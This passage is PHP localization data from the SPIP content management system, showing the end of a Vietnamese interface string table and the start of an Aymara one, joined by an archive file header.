'date_saison_2' => 'mùa xuân',
'date_saison_3' => 'mùa hè',
'date_saison_4' => 'mùa thu',
'date_semaines' => 'tuần',
'dirs_commencer' => ' để thực sự bắt đầu việc thiết trí',
'dirs_preliminaire' => 'Tiên khởi: <b>Thiết kế quyền hạn ra/vô</b>',
'dirs_probleme_droits' => 'Có vấn đề với quyền hạn ra/vô',
'dirs_repertoires_absents' => '<b>Không tìm thấy các ngăn chứa sau đây: <ul>@bad_dirs@.</ul> </b>
<p>Có thể là vì khác biệt chữ thường, chữ HOA.
Xin xem lại cách đánh vần tên các ngăn chứa này cho đúng.
Nếu cần phải sửa, dùng FTP để sửa.
</p><p>Sau đó, bạn có thể</p>', # MODIF
'dirs_repertoires_suivants' => '<b>Những ngăn sau đây không được phép Viết: <ul>@bad_dirs@.</ul> </b>
<p>Để thay đổi, dùng FTP vào thay đổi quyền hạn ra/vô của từng ngăn. Thể thức này có ghi trong cẩm nang sử dụng.
</p><p>Khi nào thực hiện xong, bạn có thể</p>', # MODIF
'double_occurrence' => 'Hai lần', # MODIF
// E
'envoi_via_le_site' => 'Gửi từ trang web',
'erreur' => 'Lỗi',
'erreur_balise_non_fermee' => 'tag cuối cùng chưa đóng:',
'erreur_texte' => 'lỗi',
// F
'fichier_introuvable' => 'Không tìm rà hồ sơ @fichier@',
'form_deja_inscrit' => 'Bạn đã ghi danh rồi.',
'form_email_non_valide' => 'Địa chỉ email của bạn không đúng.',
'form_forum_access_refuse' => 'Bạn không có quyền vào trang web này nữa.',
'form_forum_bonjour' => 'Chào bạn @nom@,',
'form_forum_email_deja_enregistre' => 'Địa chỉ email này đã dùng ghi danh rồi, bạn có thể dùng mật mã của bạn.',
'form_forum_identifiant_mail' => 'Danh tánh (ID) mới của bạn đã được gửi bằng email.',
'form_forum_identifiants' => 'Danh tánh (ID) cá nhân',
'form_forum_indiquer_nom_email' => 'Cho vào tên và địa chỉ email của bạn. Bạn sẽ nhận được danh tánh (ID) cá nhân qua email sau đó.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(đây là thư tín tự động)',
'form_forum_pass' => 'mật mã:',
'form_forum_probleme_mail' => 'Có vấn đề với email: Tên gọi (ID) không gửi đi được.',
'form_forum_voici1' => 'Đây là tên gọi của bạn để tham gia vào các diễn đàn
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Đây là tên gọi của bạn để nộp bài vào trang web
"@nom_site_spip@"(@adresse_login@):',
'form_indiquer_email' => 'Xin cho vào địa chỉ email của bạn.',
'form_indiquer_nom' => 'Xin cho vào tên bạn.',
'form_indiquer_nom_site' => 'Xin cho vào tên của website bạn.',
'form_pet_deja_enregistre' => 'Website này đã được ghi danh',
'form_pet_signature_pasprise' => 'Chữ ký bạn đã bị lờ đi.',
'form_prop_confirmer_envoi' => 'Xác nhận thông báo gửi đi',
'form_prop_description' => 'Mô tả/bình luận',
'form_prop_enregistre' => 'Đề nghị của bạn đã được ghi nhận, nó sẽ xuất hiện online sau khi được quản trị viên thông qua.',
'form_prop_envoyer' => 'Gửi thư tín',
'form_prop_indiquer_email' => 'Xin cho vào địa chỉ email',
'form_prop_indiquer_nom_site' => 'Xin cho vào tên của trang web.',
'form_prop_indiquer_sujet' => 'Xin điền vào tựa đề',
'form_prop_message_envoye' => 'Đã gửi thư tín',
'form_prop_non_enregistre' => 'Đề nghị của bạn chưa được lưu trữ.',
'form_prop_sujet' => 'Tựa đề',
'form_prop_url_site' => 'URL của trang web', # MODIF
'forum_non_inscrit' => 'Hoặc là bạn chưa ghi danh, hoặc địa chỉ hay mật mã không đúng.',
'forum_par_auteur' => 'bởi @auteur@',
'forum_titre_erreur' => 'Có lỗi...',
// I
'ical_texte_rss_articles' => 'Hồ sơ «backend» của các bài trên trang web này ở địa chỉ:',
'ical_texte_rss_articles2' => 'Bạn cũng có thể lấy hồ sơ «backend» cho các bài của từng đề mục:',
'ical_texte_rss_breves' => 'Còn có một hồ sơ cho các tin ngắn. Nếu bạn thêm số đề mục, bạn chỉ lấy dược tin ngắn của đề mục này.',
'icone_a_suivre' => 'Nơi bắt đầu',
'icone_admin_site' => 'Quản trị website',
'icone_agenda' => 'Chương trình nghị sự và thư tín',
'icone_aide_ligne' => 'Giúp đỡ',
'icone_articles' => 'Bài',
'icone_auteurs' => 'Ban biên tập',
'icone_brouteur' => 'Xem lẹ',
'icone_configuration_site' => 'Cấu hình',
'icone_configurer_site' => 'Sửa cấu hình Website',
'icone_creer_nouvel_auteur' => 'Thêm một tác giả mới',
'icone_creer_rubrique' => 'Thêm một đề mục mới ',
'icone_creer_sous_rubrique' => 'Thêm một đề mục phụ',
'icone_deconnecter' => 'Rời khỏi',
'icone_discussions' => 'Thảo luận',
'icone_doc_rubrique' => 'Tài liệu của đề mục',
'icone_ecrire_article' => 'Viết một bài mới',
'icone_edition_site' => 'Sửa đổi',
'icone_gestion_langues' => 'Quản trị ngôn ngữ',
'icone_informations_personnelles' => 'Dữ kiện cá nhân',
'icone_interface_complet' => 'Xem tất cả',
'icone_interface_simple' => 'Xem đơn giản',
'icone_maintenance_site' => 'Bảo trì',
'icone_messagerie_personnelle' => 'Thư tín cá nhân',
'icone_repartition_debut' => 'Cho xem phân loại từ ban đầu',
'icone_rubriques' => 'Ðề Mục',
'icone_sauver_site' => 'Lưu trữ database',
'icone_site_entier' => 'Tất cả bài trong website ',
'icone_sites_references' => 'Liên kết',
'icone_statistiques' => 'Thống kê tổng quát',
'icone_suivi_activite' => 'Những việc của Ban Biên Tập',
'icone_suivi_actualite' => 'Tiến triển của trang web',
'icone_suivi_pettions' => 'Quản trị thỉnh nguyện thư',
'icone_suivi_revisions' => 'Cập nhật bài vở',
'icone_supprimer_document' => 'Xóa tài liệu này',
'icone_supprimer_image' => 'Xóa hình này',
'icone_tous_articles' => 'Tất cả bài vở của bạn',
'icone_tous_auteur' => 'Các tác giả',
'icone_visiter_site' => 'Trở về trang nhà', # MODIF
'icone_voir_en_ligne' => 'Xem online',
'img_indisponible' => 'hình không có',
'impossible' => 'không thể được',
'info_a_suivre' => 'NƠI BẮT ĐẦU»',
'info_acces_interdit' => 'Không vào/dùng được',
'info_acces_refuse' => 'Không vào được',
'info_action' => 'Công việc: @action@',
'info_administrer_rubriques' => 'Bạn có thể quản trị đề mục này và các đề mục phụ',
'info_adresse_non_indiquee' => 'Bạn không cho địa chỉ để thử nghiệm!',
'info_aide' => 'GIÚP ĐỠ:',
'info_ajouter_mot' => 'Thêm từ then chốt này',
'info_annonce' => 'THÔNG BÁO',
'info_annonces_generales' => 'Thông tin tổng quát:',
'info_article_propose' => 'Bài đã nộp',
'info_article_publie' => 'Bài đã phát hành',
'info_article_redaction' => 'Bài đang soạn',
'info_article_refuse' => 'Bài bị từ chối',
'info_article_supprime' => 'Bài đã xóa',
'info_articles' => 'Bài',
'info_articles_a_valider' => 'Những bài chờ thông qua',
'info_articles_proposes' => 'Bài vở đã nộp',
'info_auteurs_nombre' => 'tác giả:',
'info_authentification_ftp' => 'Xác nhận (dùng FTP).',
'info_breves_2' => 'tin ngắn',
'info_connexion_refusee' => 'Không nối vào được',
'info_contact_developpeur' => 'Xin liên lạc với lập trình viên.',
'info_contenance' => 'Website có:',
'info_contribution' => 'thư tín của diễn đàn', # MODIF
'info_copyright' => '@spip@ là nhu liệu miễn phí phổ biến @lien_gpl@.',
'info_copyright_doc' => 'Để biết thêm, xin vào xem trang <a href="@spipnet@">http://www.spip.net/vi</a>.', # MODIF
'info_copyright_gpl' => 'theo giấp phép GPL',
'info_cours_edition' => 'Bài của bạn đang soạn',
'info_creer_repertoire' => 'Xin lập ra một hồ sơ hay một ngăn mang tên:',
'info_creer_repertoire_2' => 'trong ngăn phụ <b>@repertoire@</b>, kế đó', # MODIF
'info_creer_vignette' => 'tự động tạo ra các hình mẫu nhỏ',
'info_deplier' => 'Mở ra',
'info_descriptif_nombre' => 'Mô tả:',
'info_description' => 'Tóm lược:',
'info_description_2' => 'Tóm lược:',
'info_dimension' => 'Khổ:',
'info_ecire_message_prive' => 'Viết thư tín riêng',
'info_email_invalide' => 'Địa chỉ email không đúng.',
'info_en_cours_validation' => 'Bài viết đang soạn',
'info_en_ligne' => 'Đang online:',
'info_envoyer_message_prive' => 'Gửi thư riêng cho tác giả này',
'info_erreur_requete' => 'Vấn đáp có lỗi: ',
'info_erreur_squelette2' => 'Không có mẫu cho trang web này. Không tìm thay hồ sơ <b>@fichier@</b>...',
'info_erreur_systeme' => 'Thông báo lỗi số (errno @errsys@)',
'info_erreur_systeme2' => 'Đĩa cứng có thể đã đầy hay là database bị hư.<br />
<span style="color:red;">Xin <a href=\'@script@\'>sửa Database</a>, hay liên lạc với quản trị viên máy.</span>', # MODIF
'info_fini' => 'Xong rồi! ',
'info_format_image' => 'Dạng hình dùng để lập ra hình mẫu: @gd_formats@.',
'info_format_non_defini' => 'Dạng không định rõ',
'info_grand_ecran' => 'Xem dạng lớn',
'info_image_aide' => 'GIÚP ĐỠ',
'info_image_process_titre' => 'Cách tạo hình mẫu nhỏ',
'info_impossible_lire_page' => '<b>Lỗi!</b> Không đọc được trang <tt><html>@test_proxy@</html></tt> qua proxy <tt>', # MODIF
'info_installation_systeme_publication' => 'Thiết trí hệ thống phát hành ...',
'info_installer_documents' => 'Bạn có thể cài đặt tất cả tài liệu trong ngăn @upload@.', # MODIF
'info_installer_ftp' => 'Là quản trị viên, bạn có thể cài đặt (dùng FTP) các hồ sơ trong ngăn @upload@ rồi chọn lựa chúng sau đó trực tiếp từ đây.', # MODIF
'info_installer_images' => 'Bạn có thể cài đặt hình trong dạng JPEG, GIF và PNG.',
'info_installer_images_dossier' => 'Cài đạt hình trong ngăn @upload@ để có thể chọn lựa chúng từ đây.',
'info_interface_complete' => 'Xem tất cả',
'info_interface_simple' => 'Xem đơn giản',
'info_joindre_document_article' => 'Bạn có thể đính kèm vào bài viết các hồ sơ trong dạng',
'info_joindre_document_rubrique' => 'Bạn có thể thêm vào đề mục này các hồ sơ trong dạng',
'info_joindre_documents_article' => ' Bạn có thể đính kèm vào bài viết các hồ sơ trong dạng: ',
'info_l_article' => 'bài',
'info_la_breve' => 'tin ngắn',
'info_la_rubrique' => 'đề mục',
'info_langue_principale' => 'Ngôn ngữ của website',
'info_largeur_vignette' => '@largeur_vignette@ x @hauteur_vignette@ chấm',
'info_les_auteurs_1' => 'của @les_auteurs@ ',
'info_logo_format_interdit' => 'Chỉ chấp nhận logo trong các dạng @formats@.',
'info_logo_max_poids' => 'Logo phải nhỏ hơn @maxi@ (Hồ sơ này là @actuel@).',
'info_mail_fournisseur' => ' you@isp.com',
'info_message_2' => 'THƯ TÍN',
'info_message_supprime' => 'THƯ TÍN ĐƯỢC XÓA',
'info_mise_en_ligne' => 'Ngày đăng tải online:',
'info_modification_parametres_securite' => 'Sửa đổi các thông số an ninh',
'info_mois_courant' => 'Trong tháng:',
'info_mot_cle_ajoute' => 'Từ then chốt sau được thêm vào ',
'info_multi_herit' => 'Ngôn ngữ định sẵn',
'info_multi_langues_soulignees' => '<u>Các ngôn ngữ có gạch dưới</u> có nghĩa là phần văn bản của giao diện được dịch qua ngôn ngữ đó. Nếu bạn chọn một ngôn ngữ đó, các phần văn bản (ngày tháng, mẫu đơn) sẽ được tự động dịch qua. Còn những ngôn ngữ không có hàng gạch dưới thì không có bản dịch. Phần giao diện sẽ hiện ra bằng ngôn ngữ chính của trang web.', # MODIF
'info_multilinguisme' => 'Dụng nhiều thứ tiếng',
'info_nom_non_utilisateurs_connectes' => 'Tên bạn không thấy có trong danh sách những người dùng đang nối vào.',
'info_nom_utilisateurs_connectes' => 'Tên bạn có trong danh sách những người dùng đang nối vào.',
'info_nombre_en_ligne' => 'Online bây giờ:',
'info_non_resultat' => 'Không có kết quả cho "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Bạn không dùng phương tiện thư tín nộ bộ của website này.',
'info_nouveau_message' => 'CÓ THƯ TÍN MỚI',
'info_nouveaux_messages' => 'BẠN CÓ @total_messages@ THƯ TÍN MỚI',
'info_numero_abbreviation' => 'Số ',
'info_pense_bete' => 'GHI NHỚ',
'info_petit_ecran' => 'Xem dạng nhỏ',
'info_pixels' => 'chấm',
'info_plusieurs_mots_trouves' => 'Tìm thấy một số từ then chốt cho "@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio tự động:',
'info_premier_resultat' => '[@debut_limit@ kết quả đầu tiên trong số @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ kết quả đầu tiên trong số @total@]',
'info_propose_1' => '[@nom_site_spip@] Nộp: @titre@',
'info_propose_2' => 'Bài được nộp
-----------------',
'info_propose_3' => 'Bài "@titre@" được nộp để phát hành.',
'info_propose_4' => 'Bạn nên xem lại và cho biết ý kiến',
'info_propose_5' => 'trong diễn đàn liên hệ. Qua địa chỉ:',
'info_publie_01' => 'Bài "@titre@" được chấp thuận bởi @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] ĐĂNG TẢI: @titre@',
'info_publie_2' => 'Bài được đăng tải
-----------------',
'info_rechercher' => 'Tìm kiếm',
'info_rechercher_02' => 'Tìm:',
'info_remplacer_vignette' => 'Thay thế hình xem trước định sẵn bằng logo riêng:',
'info_sans_titre_2' => 'không tựa đề',
'info_selectionner_fichier' => 'Bạn có thể chọn một hồ trơ trong ngăn @upload@', # MODIF
'info_selectionner_fichier_2' => 'Chọn một hồ sơ:',
'info_supprimer_vignette' => 'xóa hình nhỏ xem trước',
'info_symbole_bleu' => 'Ký hiệu <b>xanh dương</b> cho biết <b>bản ghi nhớ</b>: tức là thư tín cho riêng bạn.', # MODIF
'info_symbole_jaune' => 'Ký hiệu <b>vàng</b> cho biết <b>thông báo đến tất cả chủ bút</b>: tất cả chủ bút có thể sửa đổi được, và chủ bút nào cũng nhìn thấy được.', # MODIF
'info_symbole_vert' => 'Ký hiệu <b>xanh lá cây</b> cho biết <b>thư tín trao đổi với những người dùng</b> của website.', # MODIF
'info_telecharger_nouveau_logo' => 'Đem/tải lên một logo mới:',
'info_telecharger_ordinateur' => 'Đem/tải lên từ máy bạn:',
'info_tous_resultats_enregistres' => '[Toàn bộ kết quả được ghi nhớ lại] ',
'info_tout_afficher' => 'Xem tất cả',
'info_travaux_texte' => 'Website này chưa được hoàn tất. Xin quý vị trở lại trong vài ngày sau.',
'info_travaux_titre' => 'Website đang được xây dựng',
'info_trop_resultat' => 'Quá nhiều kết quả cho "@cherche_mot@"; xin lọc lựa lại việc tìm kiếm.',
'info_utilisation_messagerie_interne' => 'Bạn đang dùng phương tiện thư tín nội bộ của website. ',
'info_valider_lien' => 'chấp thuận điểm nối kết này',
'info_verifier_image' => ', xin kiểm lại xem hình bạn chuyển tải có đúng không.',
'info_vignette_defaut' => 'Hình xem trước định sẵn',
'info_vignette_personnalisee' => 'Hình xem trước có điều chỉnh',
'info_visite' => 'thăm viếng:',
'info_vos_rendez_vous' => 'Những lần hẹn sắp tới',
'infos_vos_pense_bete' => 'Bản ghi nhớ của bạn', # MODIF
// L
'lien_afficher_icones_seuls' => 'Xem icon mà thôi',
'lien_afficher_texte_icones' => 'Xem icon và chữ',
'lien_afficher_texte_seul' => 'Xem chữ mà thôi',
'lien_liberer' => 'phổ biến',
'lien_liberer_tous' => 'Gỡ bỏ những bài này', # MODIF
'lien_nouvea_pense_bete' => 'GHI NHỚ MỚI',
'lien_nouveau_message' => 'THƯ TÍN MỚI',
'lien_nouvelle_annonce' => 'THÔNG BÁO MỚI',
'lien_petitions' => 'THỈNH NGUYỆN THƯ',
'lien_popularite' => 'phổ thông: @popularite@%',
'lien_racine_site' => 'GỐC WEBSITE',
'lien_reessayer' => 'thử lai lần nữa',
'lien_repondre_message' => 'Hồi âm thư tín này',
'lien_supprimer' => 'xóa',
'lien_tout_afficher' => 'Hiển thị tất cả',
'lien_visite_site' => 'Vào trang web này',
'lien_visites' => '@visites@ lần tới xem',
'lien_voir_auteur' => 'Xem tác giả',
'ligne' => 'Dòng',
'login' => 'Đường nối',
'login_acces_prive' => 'vào vùng riêng',
'login_autre_identifiant' => 'nối với tên gọi (ID) khác',
'login_cookie_accepte' => 'Điều chỉnh browser để chấp nhận chúng (ít nhất là cho website này).',
'login_cookie_oblige' => 'Để nhận diện bạn cho chắc, bạn phải chấp nhận mở cookies lên.',
'login_deconnexion_ok' => 'Ra khỏi.',
'login_erreur_pass' => 'Có lỗi mật mã.',
'login_espace_prive' => 'vùng riêng',
'login_identifiant_inconnu' => 'Không biết danh tánh "@login@".',
'login_login' => 'Login:',
'login_login2' => 'Login (danh tánh để vào trang web):', # MODIF
'login_login_pass_incorrect' => '(login hoặc mật mã không đúng).',
'login_motpasseoublie' => 'quên mật mã?',
'login_non_securise' => 'Cảnh báo, phiếu điền này không an toàn.
Nếu bạn không muốn mật mã bị chặn lấy trên net,
xin mở Javascript trong browser lên và',
'login_nouvelle_tentative' => 'Thử lại',
'login_par_ici' => 'Bạn được ghi danh ... lối này ...',
'login_pass2' => 'Mật mã:',
'login_preferez_refuser' => '<b>Nếu bạn chọn không mở cookies lên</b>, có một cách khác để vào (không an toàn bằng):',
'login_recharger' => 'nạp lại trang này',
'login_rester_identifie' => 'Vẫn còn nhớ trong vòng vài ngày',
'login_retour_public' => 'Trở lại trang web công cộng',
'login_retour_site' => 'Trở lại trang web công cộng',
'login_retoursitepublic' => 'trở lại trang web công cộng',
'login_sans_cookiie' => 'Nhận diện không cần cookie',
'login_sinscrire' => 'ghi danh',
'login_test_navigateur' => 'thử browser/nối lại',
'login_verifiez_navigateur' => '(Tuy nhiên, kiểm lại để biết là browser không có nhớ mật mã của bạn...)',
// M
'masquer_trad' => 'dấu các bản dịch',
'module_fichiers_langues' => 'Hồ sơ ngôn ngữ',
// N
'navigateur_pas_redirige' => 'Nếu browser của bạn không được hướng qua một địa chỉ URL mới, xin bấm vô đây để tiếp tục.',
'numero' => 'Số',
// O
'occurence' => 'Lần',
'onglet_affacer_base' => 'Xóa bỏ database',
'onglet_auteur' => 'Tác giả',
'onglet_contenu_site' => 'Đặc điểm căn bản',
'onglet_evolution_visite_mod' => 'Tiến trình',
'onglet_fonctions_avances' => 'Đặc điểm phụ trội',
'onglet_informations_personnelles' => 'Dữ kiện cá nhân',
'onglet_interactivite' => 'Đặc điểm thông tin',
'onglet_messagerie' => 'Thư tín',
'onglet_repartition_rubrique' => 'Phân loại theo đề mục',
'onglet_save_restaur_base' => 'Lưu trữ/phục hồi database',
'onglet_vider_cache' => 'Dọn sạch cache',
// P
'pass_choix_pass' => 'Xin chọn mật mã mới:',
'pass_erreur' => 'Có lỗi',
'pass_erreur_acces_refuse' => '<b>Lỗi:</b> bạn không có quyền hạn vào website này nữa.',
'pass_erreur_code_inconnu' => '<b>Lỗi:</b> mã số này không trùng hợp với những nhân sự được phép vào website này.',
'pass_erreur_non_enregistre' => '<b>Lỗi:</b> Địa chỉ <tt>@email_oubli@</tt> chưa có ghi danh với website.',
'pass_erreur_non_valide' => '<b>Lỗi:</b> Email <tt>@email_oubli@</tt> không đúng!',
'pass_erreur_probleme_technique' => '<b>Lỗi:</b> Không gửi email đi được vì trục trặc kỹ thuật.',
'pass_espace_prive_bla' => 'Khách thăm viếng chỉ vào được vùng riêng sau khi ghi danh. Ghi danh rồi, bạn có thể xem các bài vở đang soạn, nộp bài vào và tham gia vào các diễn đàn.',
'pass_forum_bla' => 'Diễn đàn bạn muốn vào chỉ dành riêng cho các vị khách có ghi danh.',
'pass_indiquez_cidessous' => 'Đánh vào địa chỉ email mà bạn đã dùng ghi danh trước đây. Sau đó, bạn sẽ nhận qua email chi tiết chỉ dẫn cách tìm lại phép ra/vô.',
'pass_mail_passcookie' => '(đây là thư tín tự động)
Để tìm lại cách ra/vô webiste
@nom_site_spip@ (@adresse_site@)
Xin vào địa chỉ sau đây:
@sendcookie@
Bạn cho vào mật mã mới để vào lại trang web.', # MODIF
'pass_mot_oublie' => 'Quên mất mật mã',
'pass_nouveau_enregistre' => 'Mật mã mới đã được lưu trữ.',
'pass_nouveau_pass' => 'Mật mã mới',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Quên mật mã',
'pass_quitter_fenetre' => 'Rời bỏ khung đó',
'pass_rappel_login' => 'Lưu ý: login của bạn là "@login@".',
'pass_recevoir_mail' => 'Bạn sẽ nhận qua email chi tiết chỉ dẫn cách thu hồi phép ra/vô trang web.',
'pass_retour_public' => 'Trở lại trang web',
'pass_rien_a_faire_ici' => 'Không có gì ở đây.',
'pass_vousinscrire' => 'Ghi danh với website',
'precedent' => 'trước',
'previsualisation' => 'Xem trước',
'previsualiser' => 'Cho xem trước',
// R
'retour' => 'Trở lại',
// S
'spip_conforme_dtd' => 'SPIP xác nhận trang này theo đúng tiêu chuẩn với DOCTYPE của SPIP:',
'squelette' => 'bản mẫu',
'squelette_inclus_ligne' => 'bản mẫu đính kèm, dòng',
'squelette_ligne' => 'bản mẫu, dòng',
'stats_visites_et_popularite' => '@visites@ lần viếng; mức phổ thông: @popularite@',
'suivant' => 'kế tiếp',
// T
'taille_ko' => '@taille@ kb',
'taille_mo' => '@taille@ Mb',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Khi bạn trở nên quen thuộc với cách thức trình bày trong website này, bấm vào «',
'texte_actualite_site_2' => 'Xem tất cả',
'texte_actualite_site_3' => '» để xem những đặc điểm khác.',
'texte_creation_automatique_vignette' => 'Website có khả năng tạo lập tự động các hình mẫu.
Nếu bạn đem vào những hình ảnh trong dạng @gd_formats@, chúng sẽ có hình mẫu với khổ tối đa là @taille_preview@ chấm. ',
'texte_documents_associes' => 'Các tài liệu sau đây có liên đới với bài này, nhưng chúng không được độn trực tiếp vào. Dựa theo bố trí của website, chúng trông như là tài liệu đính kèm. ',
'texte_erreur_mise_niveau_base' => 'Có lỗi database trong lúc nâng cấp. Hình <b>@fichier@</b> không chuyển vô được trong (bài @id_article@).<p> Hãy lưu ý cho kỹ lời nhắn này, thử lại việc nâng cấp, và cuối cùng kiểm lại xem hình có hiện ra trong bài không. ', # MODIF
'texte_inc_auth_1' => 'Bạn bảo rằng login của bạn là <b>@auth_login@</b>, nhưng login này không có trong database. Tìm cách', # MODIF
'texte_inc_auth_2' => 'nối lại',
'texte_inc_auth_3' => 'bằng cách ra khỏi và khởi động lại browser, nếu cần thiết.',
'texte_inc_config' => 'Những sửa đổi dưới đây tác động đến sự vận hành của website. Khuyến cáo bạn không nên đụng vô trừ phi bạn nắm vững sự vận hành của hệ thống SPIP. <br /><br /><b>Tốt hơn hết, bạn nên để cho người webmaster chính lo các việc này.</b>', # MODIF
'texte_inc_meta_1' => 'Có vấn đề khi viết hồ sơ <code>@fichier@</code>.Là quản lý viên của website, xin bạn ', # MODIF
'texte_inc_meta_2' => 'kiểm lại quyền hạn viết',
'texte_inc_meta_3' => 'của ngăn <code>@repertoire@</code>.', # MODIF
'texte_statut_en_cours_redaction' => 'đang viết/soạn',
'texte_statut_poubelle' => 'vô thùng rác',
'texte_statut_propose_evaluation' => 'được đề nghị',
'texte_statut_publie' => 'được đăng lên',
'texte_statut_refuse' => 'bị từ chối',
'titre_ajouter_mot_cle' => 'THÊM MỘT TỪ THÊN CHỐT:',
'titre_cadre_raccourcis' => 'NGÕ TẮT:',
'titre_changer_couleur_interface' => 'Thay đổi màu của giao diện',
'titre_image_admin_article' => 'Bạn có thể quản trị bài này',
'titre_image_administrateur' => 'Quản trị viên',
'titre_image_aide' => 'Giúp đỡ trên tiết mục này',
'titre_image_auteur_supprime' => 'Tác giả bị xoá',
'titre_image_redacteur' => 'Tác giả không có quyền',
'titre_image_redacteur_02' => 'Tác giả',
'titre_image_visiteur' => 'Khách',
'titre_joindre_document' => 'ĐÍNH KÈM MỘT HỒ SƠ',
'titre_mots_cles' => 'TỪ THEN CHỐT',
'titre_probleme_technique' => 'Báo động: trục trặc kỹ thuật (SQL server) thành ra không vào được chỗ này của trang web.<p>Xin thông cảm.', # MODIF
'titre_publier_document' => 'PHÁT HÀNH MỘT TÀI LIỆU TRONG ĐỀ MỤC NÀY',
'titre_statistiques' => 'Thống Kê',
'titre_titre_document' => 'Tựa bài:',
'trad_reference' => '(bài nối kết)', # MODIF
// Z
'zbug_balise_b_aval' => ': B tag too late in loop',
'zbug_balise_inexistante' => 'erreur @from@: la balise #@balise@ n’existe pas', # MODIF
'zbug_boucle' => 'loop',
'zbug_boucle_recursive_undef' => 'undefined recursive loop', # MODIF
'zbug_champ_hors_boucle' => 'Field @champ@ outside loop',
'zbug_champ_hors_motif' => 'Field @champ@ outside loop tagged @motif@', # MODIF
'zbug_code' => 'mã',
'zbug_critere_inconnu' => 'unknown criterion @critere@', # MODIF
'zbug_distant_interdit' => 'external data forbidden', # MODIF
'zbug_doublon_table_sans_cle_primaire' => 'doublons sur une table sans clef primaire atomique', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'BOUCLE@id@: Chỉ được dùng một lần ', # MODIF
'zbug_erreur_boucle_fermant' => 'BOUCLE@id@: chưa dược dóng lại ', # MODIF
'zbug_erreur_boucle_syntaxe' => 'Cách viết vòng (boucle) này không đúng.', # MODIF
'zbug_erreur_execution_page' => 'error in page calculation', # MODIF
'zbug_erreur_filtre' => 'Sai lầm : Bạn chưa xác định bộ lọc (filtre) <b>« @filtre@ »</b> nầy. ', # MODIF
'zbug_erreur_meme_parent' => '{meme_parent} only applies to loops (FORUMS) and (RUBRIQUES)', # MODIF
'zbug_erreur_squelette' => 'Error(s) in template',
'zbug_info_erreur_squelette' => 'Có lỗi trên Website',
'zbug_inversion_ordre_inexistant' => 'reversal of nonexistent order', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => 'Wrong inclusion parameters', # MODIF
'zbug_profile' => 'Thời gian tính toán: @time@',
'zbug_resultat' => 'kết quả',
'zbug_serveur_indefini' => 'undefined SQL server', # MODIF
'zbug_table_inconnue' => 'Unknown SQL table "@table@"',
'zxml_inconnu_id' => 'chi tiết ID không biết',
'zxml_survoler' => 'để xem chi tiết đúng, di chuyển con chuột lên trên',
'zxml_vu' => 'đã thấy trước đây'
);
?>
ecrire_ay.php 0000666 00000040363 15252547432 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=ay
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'Plugin uk naktayaña
',
'aide_non_disponible' => 'Aka yanapa naktatxa janiw aka arunx wakitakiti.',
'auteur' => 'Qillqiri:',
'avis_acces_interdit' => 'Mantawx jark’ata.',
'avis_article_modifie' => 'Amuyam @nom_auteur_modif@ aka qillqatax irnaqataw @date_diff@ ninkharata.',
'avis_aucun_resultat' => 'Janiw askichat utjkiti.
',
'avis_chemin_invalide_1' => 'Thakhix ajllita',
'avis_chemin_invalide_2' => 'Jan jamakiw iyaw satakiti. Nayrt’ir laphi uñnaqar kutt’am ukatsti jikit yatiyawinak qhanstayam.',
'avis_connexion_echec_1' => 'Chinuwix jalanuqirirux janiw walt’kiti MySQL.',
'avis_connexion_echec_2' => 'Arkir laphi uñnaqar kutt’am ukatsti jikit yatiyawinaka mayamp uñjam.',
'avis_connexion_echec_3' => '<b>Amuyam:</b> Walja jalanuqirinakana, munasiwa <b>mayiña</b> mantawitx naktata yatqalltawiru MySQL janir apnaqasa. Janitix chinusiñ puyrktaxa mayampi uñjam lartax ukja.',
'avis_connexion_ldap_echec_1' => 'Jalanuqirirux chinuwi ukaxa LDAP janiw walt’kiti.',
'avis_connexion_ldap_echec_2' => 'Nayrir laphi uñnaqar kutt’am ukatsti jikit yatiyawinak qhanstayam.',
'avis_connexion_ldap_echec_3' => 'Mayakipawjam, askichir ukax jan apnaqamti LDAP apnaqirinak apayaniñataki.',
'avis_deplacement_rubrique' => '¡AMUYAM! Aka t’aqan utjiwa @contient_breves@ breve@scb@. Janitix yäqtaxa, iyaw sat casilla uk naktayam.',
'avis_destinataire_obligatoire' => 'Mä yatiyaw qatuqir uñachayam janir aka yatiyaw apaykasa.',
'avis_erreur_connexion_mysql' => 'Chinuw pantjata MySQL',
'avis_espace_interdit' => '<b>Ch’usawx jark’ata</b><div>SPIP ukax uchantataxiwa</div>',
'avis_lecture_noms_bases_1' => 'Uchantat pirwa yatiyawinakatxa uchantir prugramaxa janiw liykiti.',
'avis_lecture_noms_bases_3' => 'Payir lurawinxa, inas mä pirwa apnaqiri sutimampi apnaqasispa:',
'avis_non_acces_message' => 'Aka yatiyawirux janiw mantañaniktati.',
'avis_non_acces_page' => 'Aka laphi uñnaqarux janiw mantañaniktati.',
'avis_operation_echec' => 'Lurawix janiw walt’kiti.',
'avis_operation_impossible' => 'Lurawix janipuni',
'avis_probleme_archive' => 'Q’ipitxa jan wali liyt’añataki @archive@',
'avis_suppression_base' => '¡AMUYAM, apaqat yatiyawinakax janiw askichaskaspati!',
'avis_version_mysql' => 'Uñjatamaxa MySQL (@version_mysql@) uyu uyunakat pirwanxa janiw justup askichaw munkiti.',
// B
'bouton_acces_ldap' => 'Mä mantaw yapaña LDAP',
'bouton_ajouter' => 'Yapaña',
'bouton_ajouter_participant' => 'MÄ ARSUSIR YAPAÑA:',
'bouton_annonce' => 'YATIYAWI',
'bouton_annuler' => 'Jiwt’ayaña',
'bouton_checkbox_envoi_message' => 'Inas mä yatiyaw apayaña',
'bouton_checkbox_indiquer_site' => 'Mä Web qamawi uñachayapunima',
